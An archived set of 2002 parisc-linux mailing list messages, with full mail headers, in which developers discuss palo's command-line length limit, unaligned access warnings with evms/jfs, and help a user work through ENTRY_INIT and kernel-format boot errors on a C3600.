List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15752

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: Joel Soete <joel.soete@freebel.net>, bame@fc.hp.com,
>	parisc-linux@parisc-linux.org
>Subject: Re: [parisc-linux] Palo: cmdline and commanline has different limits?
>Date: Mon, 5 Aug 2002 10:59:19 -0400
>
>
>> > I do not know yet if pad1 can be removed so that cmdline could reach
>204 
>> > [240-8-7*(sizeof int = 4?)] char lenght, also I prefer to let you choise.
>> > 
>> > Joel
>> 
>> I don't see why not? Would 200 characters be enough for your application?
>> 
>> I do think that "> 255" should be changed in palo.c
>> 
>> To push it out further would require teaching palo about 
>> both formats (and understanding why the comment mentions 
>> that all the data must fit in 256 byes).
>> 
>> c.
>
>Joel,
>
>I just talked to Bame and we both agree that those bytes would
>best be left for future expansion.
>
>I've made the change in palo.c such that it checks for "> 127"
>I'll be cheking that in today, and a new deb of palo should be out
>next week. If you would like to help in the testing process then 
>checkout palo from cvs and you can build the package yourself.
>
>The documentation for palo was updated to reflect a limit
>in the -c argument.
>
>Do you have a particular use for more than 127 bytes of command line
>information? Passing a _lot_ of data via the command line is not 
>accepted as good practice :}

Carlos,

It is Ok for me.

I do not actualy need more.
I am just studying palo code to see what have to be done to support raid1
md for the /boot device :) and just notice that potential problem so I report
it :)

Thanks a lot for all,
    J.



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Wed, 7 Aug 2002 10:12:33 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3D38181A00001481@ocpmta6.be.tiscali.com>
References: <20020807061157.GD8214@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621600 12051 80.91.229.3 (22 Nov 2014 02:00:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 02:10:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id DECC3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 02:10:43 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 Aug 2002 10:12:33 +0200
In-Reply-To: <20020807061157.GD8214@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15753

>-- Original Message --
>Date: Tue, 6 Aug 2002 23:11:57 -0700
>From: Randolph Chung <tausq@debian.org>
>To: Joel Soete <joel.soete@freebel.net>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem
with
>evms and jfs
>Reply-To: Randolph Chung <tausq@debian.org>
>
>
>> I would just like to know if you already have the opportunity to have
a
>
>> look for a fix of this stuff (I know you are very busy this time and do
>
>> not want to stress, just want to got news)
>
>just came back from a trip....
>
>i started fixing this a few weeks back but got sidetracked by the 2.5
>merge.... it's definitely on my todo list :-)
>
Great :))

>fwiw i haven't seen any conclusive proof that this "fix" will actually
>fix any problems we've seen....
>

In fact i am ignoring exactly what is this fix. So I could not presume if
it will or not solve the annoying "unalign access..." messages I encounter
before I test it :)).

Many thanks for help,
    J.



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 10:33:31 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <OE58JWEsBk31TZ14eBa00000291@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01BF_01C23DFD.E0080F40"
X-Trace: ger.gmane.org 1416621600 12052 80.91.229.3 (22 Nov 2014 02:00:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 02:33:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe58.law3.hotmail.com [209.185.240.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85EFC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 02:33:42 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 01:33:36 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 08:33:36.0967 (UTC) FILETIME=[1FC9FD70:01C23DED]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15754

This is a multi-part message in MIME format.

------=_NextPart_000_01BF_01C23DFD.E0080F40
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hi,

I've just build 2.4.19-pa2 on my c3600 and then I ran palo * I've =
updated to 1.1 * afterwards, after booting I got an error reporting:

ENTRY_INIT failed, status =3D -7: Nonexistent device

>>Some Hex Entries<<

Failed to initialize

What is this... did I do something wrong?



AG

------=_NextPart_000_01BF_01C23DFD.E0080F40
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Courier New" size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>I've just build 2.4.19-pa2 on =
my c3600 and=20
then I ran palo * I've updated to 1.1 *&nbsp;afterwards, after booting I =
got an=20
error reporting:</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>ENTRY_INIT failed, status =3D =
-7: Nonexistent=20
device</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>&gt;&gt;Some Hex=20
Entries&lt;&lt;</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Failed to =
initialize</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>What is this... did I do =
something=20
wrong?</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>AG</FONT></DIV></BODY></HTML>

------=_NextPart_000_01BF_01C23DFD.E0080F40--


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 12:56:11 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <OE22Aztxc1o8yfogkJX00009958@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0290_01C23E11.CE09F380"
X-Trace: ger.gmane.org 1416621601 12056 80.91.229.3 (22 Nov 2014 02:00:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 04:56:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe22.law3.hotmail.com [209.185.240.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4380482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 04:56:13 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 03:56:13 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 10:56:13.0396 (UTC) FILETIME=[0BD17140:01C23E01]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15755

This is a multi-part message in MIME format.

------=_NextPart_000_0290_01C23E11.CE09F380
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hi,

I've just build 2.4.19-pa2 on my c3600 and then I ran palo * I've =
updated to 1.1 * afterwards, after booting I got an error reporting:

ENTRY_INIT failed, status =3D -7: Nonexistent device

>>Some Hex Entries<<

Failed to initialize

What is this... did I do something wrong?



AG

------=_NextPart_000_0290_01C23E11.CE09F380
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Courier New" size=3D2>
<DIV><FONT face=3D"Courier New" size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>I've just build 2.4.19-pa2 on =
my c3600 and=20
then I ran palo * I've updated to 1.1 *&nbsp;afterwards, after booting I =
got an=20
error reporting:</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>ENTRY_INIT failed, status =3D =
-7: Nonexistent=20
device</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>&gt;&gt;Some Hex=20
Entries&lt;&lt;</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Failed to =
initialize</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>What is this... did I do =
something=20
wrong?</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" =
size=3D2>AG</FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0290_01C23E11.CE09F380--


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 08:38:07 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20020807123807.GB9966@systemhalted>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621601 12081 80.91.229.3 (22 Nov 2014 02:00:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 06:39:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D38E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 06:39:33 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17cQ4l-0002eE-00; Wed, 07 Aug 2002 08:38:07 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Alex Green <alexdgreen@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <OE22Aztxc1o8yfogkJX00009958@hotmail.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (4% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15756

> Hi,
> I've just build 2.4.19-pa2 on my c3600 and then I ran palo * I've updated to 1.1 * afterwards, after booting I got an error reporting:
> ENTRY_INIT failed, status = -7: Nonexistent device
> >>Some Hex Entries<<
> Failed to initialize
> What is this... did I do something wrong?
> AG

Yes. Possibly specifying the wrong device.

To quote HP IT Resources:
The device address supplied to ENTRY_INIT is valid, but, 
the target controller or device is not installed or is not responding
ENTRY_INIT -7 Causes:
- Booting from the wrong path or non-existent device.
- Trying to boot from a device that is not responding.

Stop the machine at bootup and try to search for bootable
devices... and see what it returns.

c.


From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 16:38:48 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <OE50nwpGR881Np7vXee0000cb29@hotmail.com>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621601 12100 80.91.229.3 (22 Nov 2014 02:00:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:01 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 08:38:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe50.law3.hotmail.com [209.185.240.218])
	by dsl2.external.hp.com (Postfix) with ESMTP id 451A3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 08:38:51 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 07:38:50 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 14:38:50.0898 (UTC) FILETIME=[25827F20:01C23E20]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15757

ok, well i got the PALO to start however it now crashes with the following
error:

Couldn't grok your kernel executable formatERROR: failed to load kernel.

What does this mean?

ag

----- Original Message -----
From: "Carlos O'Donell" <carlos@baldric.uwo.ca>
To: "Alex Green" <alexdgreen@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, August 07, 2002 2:38 PM
Subject: Re: [parisc-linux] palo issues


> > Hi,
> > I've just build 2.4.19-pa2 on my c3600 and then I ran palo * I've
updated to 1.1 * afterwards, after booting I got an error reporting:
> > ENTRY_INIT failed, status = -7: Nonexistent device
> > >>Some Hex Entries<<
> > Failed to initialize
> > What is this... did I do something wrong?
> > AG
>
> Yes. Possibly specifying the wrong device.
>
> To quote HP IT Resources:
> The device address supplied to ENTRY_INIT is valid, but,
> the target controller or device is not installed or is not responding
> ENTRY_INIT -7 Causes:
> - Booting from the wrong path or non-existent device.
> - Trying to boot from a device that is not responding.
>
> Stop the machine at bootup and try to search for bootable
> devices... and see what it returns.
>
> c.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 17:23:26 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <OE62f84mtceYvUAA3qj0000304b@hotmail.com>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted>  <OE50nwpGR881Np7vXee0000cb29@hotmail.com>  <E17cSWK-0000pp-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621602 12112 80.91.229.3 (22 Nov 2014 02:00:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:02 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Paul Bame" <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 09:23:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe62.law3.hotmail.com [209.185.240.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A66482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 09:23:29 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 08:23:29 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 15:23:29.0144 (UTC) FILETIME=[61DE6780:01C23E26]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15758

ok the file was build using make bzImage... surely this would produce a
proper image..... or not?

----- Original Message -----
From: "Paul Bame" <bame@fc.hp.com>
To: "Alex Green" <alexdgreen@hotmail.com>
Sent: Wednesday, August 07, 2002 5:14 PM
Subject: Re: [parisc-linux] palo issues


> > ok, well i got the PALO to start however it now crashes with the
following
> > error:
> >
> > Couldn't grok your kernel executable formatERROR: failed to load kernel.
> >
> > What does this mean?
>
> The normal reason for this error is that the file isn't an elf32
> or elf64 executable.  Common mistakes are using a lifimage instead
> of a 'vmlinux' (e.g., elf kernel).  Once someone used a tarball
> (of the pre-built kernels on ftp.parisc-linux.org/kernels/32) without
> unpacking it first.
>
> Run 'file' on what you're telling palo to load.
>
> -P
>



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 17:28:20 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <OE21vQSK3sFilY05Dxp0000b0ff@hotmail.com>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted>  <OE50nwpGR881Np7vXee0000cb29@hotmail.com>  <E17cSWK-0000pp-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621602 12120 80.91.229.3 (22 Nov 2014 02:00:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:02 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Paul Bame" <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 09:28:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe21.law3.hotmail.com [209.185.240.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83722482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 09:28:23 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 08:28:23 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 15:28:23.0142 (UTC) FILETIME=[111AF060:01C23E27]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15759

I ran file against my new kernel and the output is the same as the currently
booting kernel.


----- Original Message -----
From: "Paul Bame" <bame@fc.hp.com>
To: "Alex Green" <alexdgreen@hotmail.com>
Sent: Wednesday, August 07, 2002 5:14 PM
Subject: Re: [parisc-linux] palo issues


> > ok, well i got the PALO to start however it now crashes with the
following
> > error:
> >
> > Couldn't grok your kernel executable formatERROR: failed to load kernel.
> >
> > What does this mean?
>
> The normal reason for this error is that the file isn't an elf32
> or elf64 executable.  Common mistakes are using a lifimage instead
> of a 'vmlinux' (e.g., elf kernel).  Once someone used a tarball
> (of the pre-built kernels on ftp.parisc-linux.org/kernels/32) without
> unpacking it first.
>
> Run 'file' on what you're telling palo to load.
>
> -P
